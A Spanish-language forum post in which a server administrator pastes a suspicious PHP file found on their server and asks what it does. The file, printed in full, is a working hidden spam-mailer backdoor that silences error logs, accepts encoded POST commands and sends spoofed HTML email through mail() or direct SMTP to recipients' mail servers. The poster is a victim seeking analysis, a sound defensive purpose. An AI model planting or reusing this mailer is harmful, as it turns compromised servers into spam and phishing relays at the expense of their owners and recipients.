Saludos a todos

Desde hace un tiempo venimos observando problemas en nuestro servidor, después de mucho buscar he encontrado un fichero php sospechoso (el antivirus que tenemos no lo detecta, pero en virustotal sí hay 3 detecciones). El código del fichero, después de ordenarlo es el siguiente:

<?php
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
if (count($_POST) < 2)
{
die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321));
}
$v5031e998 = false;
foreach (array_keys($_POST) as $v3c6e0b8a)
{
switch ($v3c6e0b8a[0])
{
case chr(108):
$vd56b6998 = $v3c6e0b8a;
break;
case chr(100):
$v8d777f38 = $v3c6e0b8a;
break;
case chr(109):
$v3d26b0b1 = $v3c6e0b8a;
break;
case chr(101);
$v5031e998 = true;
break;
}
}
 if ($vd56b6998 === '' || $v8d777f38 === '')
die(PHP_OS.chr(49).chr(49).chr(43).md5(0987654321));
$v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disable_functions'));
$v01b6e203 = @$_POST[$vd56b6998];
$v8d777f38 = @$_POST[$v8d777f38];
$v3d26b0b1 = @$_POST[$v3d26b0b1];
 if ($v5031e998)
{
$v01b6e203 = n9a2d8ce3($v01b6e203);
$v8d777f38 = n9a2d8ce3($v8d777f38);
$v3d26b0b1 = n9a2d8ce3($v3d26b0b1);
}
$v01b6e203 = urldecode(stripslashes($v01b6e203));
$v8d777f38 = urldecode(stripslashes($v8d777f38));
$v3d26b0b1 = urldecode(stripslashes($v3d26b0b1));
if (strpos($v01b6e203, ';', 1) != false)
{
list($va3da707b, $vbfbb12dc, $v081bde0c) = preg_split('/;/',strtolower($v01b6e203));
$va3da707b = ucfirst($va3da707b);
$vbfbb12dc = ucfirst($vbfbb12dc);
$v3a5939e4 = next(explode('@', $v081bde0c));
if ($vbfbb12dc == '' || $va3da707b == '')
{
$vbfbb12dc = $va3da707b = '';
$v01b6e203 = $v081bde0c;
}
else
{
$v01b6e203 = "\"$va3da707b $vbfbb12dc\" <$v081bde0c>";
}
}
else
{
$vbfbb12dc = $va3da707b = '';
$v081bde0c = strtolower($v01b6e203);
$v3a5939e4 = next(explode('@', $v01b6e203));
}
preg_match('|<USER>(.*)</USER>|imsU', $v8d777f38, $vee11cbb1);
$vee11cbb1 = $vee11cbb1[1];
preg_match('|<NAME>(.*)</NAME>|imsU', $v8d777f38, $vb068931c);
$vb068931c = $vb068931c[1];
preg_match('|<SUBJ>(.*)</SUBJ>|imsU', $v8d777f38, $vc34487c9);
$vc34487c9 = $vc34487c9[1];
preg_match('|<SBODY>(.*)</SBODY>|imsU', $v8d777f38, $v6f4b5f42);
$v6f4b5f42= $v6f4b5f42[1];
$vc34487c9 = str_replace("%R_NAME%", $va3da707b, $vc34487c9);
$vc34487c9 = str_replace("%R_LNAME%", $vbfbb12dc, $vc34487c9);
$v6f4b5f42 = str_replace("%R_NAME%", $va3da707b, $v6f4b5f42);
$v6f4b5f42 = str_replace("%R_LNAME%", $vbfbb12dc, $v6f4b5f42);
$v0897acf4 = preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']);
if (ne667da76($v0897acf4) || @ini_get('safe_mode'))
$v10497e3f = false;
else
$v10497e3f = true;
$v9a5cb5d8 = "$vee11cbb1@$v0897acf4";
if ($vb068931c != '')
$vd98a07f8 = "$vb068931c <$v9a5cb5d8>";
else
$vd98a07f8 = $v9a5cb5d8;
$vb8ddc93f = "From: $vd98a07f8\r\n";
$vb8ddc93f .= "Reply-To: $vd98a07f8\r\n";
$v3c87b187 = "X-Priority: 3 (Normal)\r\n";
$v3c87b187 .= "MIME-Version: 1.0\r\n";
$v3c87b187 .= "Content-Type: text/html;  charset=\"iso-8859-1\"\r\n";
$v3c87b187 .= "Content-Transfer-Encoding: 8bit\r\n";
if (!in_array('mail', $v619d75f8))
{
if ($v10497e3f)
{
if (@mail($v01b6e203, $vc34487c9, $v6f4b5f42, $vb8ddc93f.$v3c87b187, "-f$v9a5cb5d8"))
die(chr(79).chr(75).md5(1234567890)."+0");
}
else
{
 if (@mail($v01b6e203, $vc34487c9, $v6f4b5f42, $v3c87b187))
 die(chr(79).chr(75).md5(1234567890)."+0");
}
 }
$v4340fd73 = "Date: " . @date("D, j M Y G:i:s O")."\r\n" . $vb8ddc93f;
$v4340fd73 .= "Message-ID: <".preg_replace('/(.{7})(.{5})(.{2}).*/', '$1-$2-$3', md5(time()))."@$v0897acf4>\r\n";
$v4340fd73 .= "To: $v01b6e203\r\n";
$v4340fd73 .= "Subject: $vc34487c9\r\n";
$v4340fd73 .= $v3c87b187;
$v841a2d68 = $v4340fd73."\r\n".$v6f4b5f42;
if ($v3d26b0b1 == '')
$v3d26b0b1 = n9c812bad($v3a5939e4);
if (($vb4a88417 = n7b0ecdff($v9a5cb5d8, $v081bde0c, $v841a2d68, $v0897acf4, $v3d26b0b1)) == 0)
{
die(chr(79).chr(75).md5(1234567890)."+1");
}
else
{
echo PHP_OS.chr(50).chr(48).'+'.md5(0987654321)."+$vb4a88417";
}
function ne667da76($v957b527b)
{
return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $v957b527b);
}
function na73fa8bd($vb45cffe0, $v11a95b8a = 0, $v7fa1b685="=\r\n", $v92f21a0f = 0, $v3303c65a = false)
 {
$vf5a8e923 = strlen($vb45cffe0);
$vb4a88417 = '';
for($v865c0c0b = 0; $v865c0c0b < $vf5a8e923; $v865c0c0b++)
{
if ($v11a95b8a >= 75)
{
$v11a95b8a = $v92f21a0f;
$vb4a88417 .= $v7fa1b685;
}
$v4a8a08f0 = ord($vb45cffe0[$v865c0c0b]);
 if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 >= 0x80) || ($v4a8a08f0 < 0x20))
{
 if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) && (!$v3303c65a))
 {
$vb4a88417.=chr($v4a8a08f0);
$v11a95b8a = 0; continue;
}
$vb4a88417 .='='.str_pad(strtoupper(dechex($v4a8a08f0)), 2, '0', STR_PAD_LEFT);
 $v11a95b8a += 3;
continue;
 }
$vb4a88417 .= chr($v4a8a08f0); $v11a95b8a++;
}
return $vb4a88417;
}
function n7b0ecdff($vd98a07f8, $v01b6e203, $v841a2d68, $v0897acf4, $v3d26b0b1)
{
global $v619d75f8;
if (!in_array('fsockopen', $v619d75f8))
$v66b18866 = @fsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20);
 elseif (!in_array('pfsockopen', $v619d75f8))
$v66b18866 = @pfsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20);
elseif (!in_array('stream_socket_client', $v619d75f8) && function_exists("stream_socket_client")) $v66b18866 = @stream_socket_client("tcp://$v3d26b0b1:25", $v70106d0d, $v809b1abe, 20);
else return -1;
if (!$v66b18866)
{
return 1;
} else
{
$v8d777f38 = n54070395($v66b18866);
@fputs($v66b18866, "EHLO $v0897acf4\r\n");
$ve98d2f00 = n54070395($v66b18866);
if (substr($ve98d2f00, 0, 3) != 250 )
return "2+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00);
@fputs($v66b18866, "MAIL FROM:<$vd98a07f8>\r\n");
$ve98d2f00 = n54070395($v66b18866);
if (substr($ve98d2f00, 0, 3) != 250 )
return "3+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00);
@fputs($v66b18866, "RCPT TO:<$v01b6e203>\r\n");
$ve98d2f00 = n54070395($v66b18866);
if (substr($ve98d2f00, 0, 3) != 250 && substr($ve98d2f00, 0, 3) != 251)
return "4+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00);
@fputs($v66b18866, "DATA\r\n");
$ve98d2f00 = n54070395($v66b18866);
if (substr($ve98d2f00, 0, 3) != 354 )
return "5+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00);
@fputs($v66b18866, $v841a2d68."\r\n.\r\n");
$ve98d2f00 = n54070395($v66b18866);
if (substr($ve98d2f00, 0, 3) != 250 )
return "6+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00);
@fputs($v66b18866, "QUIT\r\n");
@fclose($v66b18866);
return 0;
}
 }
function n54070395($v66b18866)
{
$v8d777f38 = '';
while($v341be97d = @fgets($v66b18866, 4096))
{
$v8d777f38 .= $v341be97d;
if(substr($v341be97d, 3, 1) == ' ')
break;
}
return $v8d777f38;
}
 function n9c812bad($vad5f82e8)
{
global $v619d75f8;
if (!in_array('getmxrr', $v619d75f8) && function_exists("getmxrr"))
{
@getmxrr($vad5f82e8, $v744fa43b, $v6c5ea816);
if (count($v744fa43b) === 0)
return '127.0.0.1';
$v865c0c0b = array_keys($v6c5ea816, min($v6c5ea816));
return $v744fa43b[$v865c0c0b[0]];
}
else
{
return '127.0.0.1';
}
 }
function n9a2d8ce3($v1cb251ec)
{
$v1cb251ec = base64_decode($v1cb251ec);
$vc68271a6 = '';
for($v865c0c0b = 0; $v865c0c0b < strlen($v1cb251ec); $v865c0c0b++)
$vc68271a6 .= chr(ord($v1cb251ec[$v865c0c0b]) ^ 2);
return $vc68271a6;
} ?>


No soy un experto en PHP, pero creo hace que controlen nuestro correo. Alguien podría decirme que es lo que realmente hace, es sólo spam o va más allá, y cual es su peligrosidad.

Es mi primer post, y no sabía si ponerlo en este foro o en el de PHP, si tengo que moverlo decírmelo por favor.

Gracias